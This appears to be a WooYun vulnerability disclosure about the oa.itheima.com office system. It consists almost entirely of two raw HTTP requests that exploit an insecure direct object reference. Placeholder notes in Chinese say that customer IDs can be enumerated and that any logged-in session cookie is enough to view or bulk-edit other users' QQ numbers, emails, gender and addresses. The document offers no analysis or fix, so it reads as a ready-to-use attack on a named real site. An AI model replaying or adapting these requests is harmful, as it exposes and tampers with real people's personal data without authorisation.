WooYun.org

GET /customer/operate.do?method=editCustomerUI&customreId=$你要查看的用户ID(可遍历)$ HTTP/1.1
Host: oa.itheima.com
Proxy-Connection: keep-alive
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Referer: http://oa.itheima.com/
Accept-Encoding: deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=$任意一个已经登陆过的都可以$

POST /customer/operate.do HTTP/1.1
Host: oa.itheima.com
Proxy-Connection: keep-alive
Content-Length: 227
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://oa.itheima.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.153 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Referer: http://oa.itheima.com/customer/operate.do?method=editCustomerUI&customreId=2582
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8
Cookie: JSESSIONID=$任何已登陆的Cookies均可$
method=editCustomer&customerId=$他人用户ID(可批量修改)$&qq=$QQ号$&email=$邮箱$&gender=$性别$&customerEdu=JOB_WAITING&courseId=1&address=$所在地$&submit=%E6%8F%90%E3%80%80%E4%BA%A4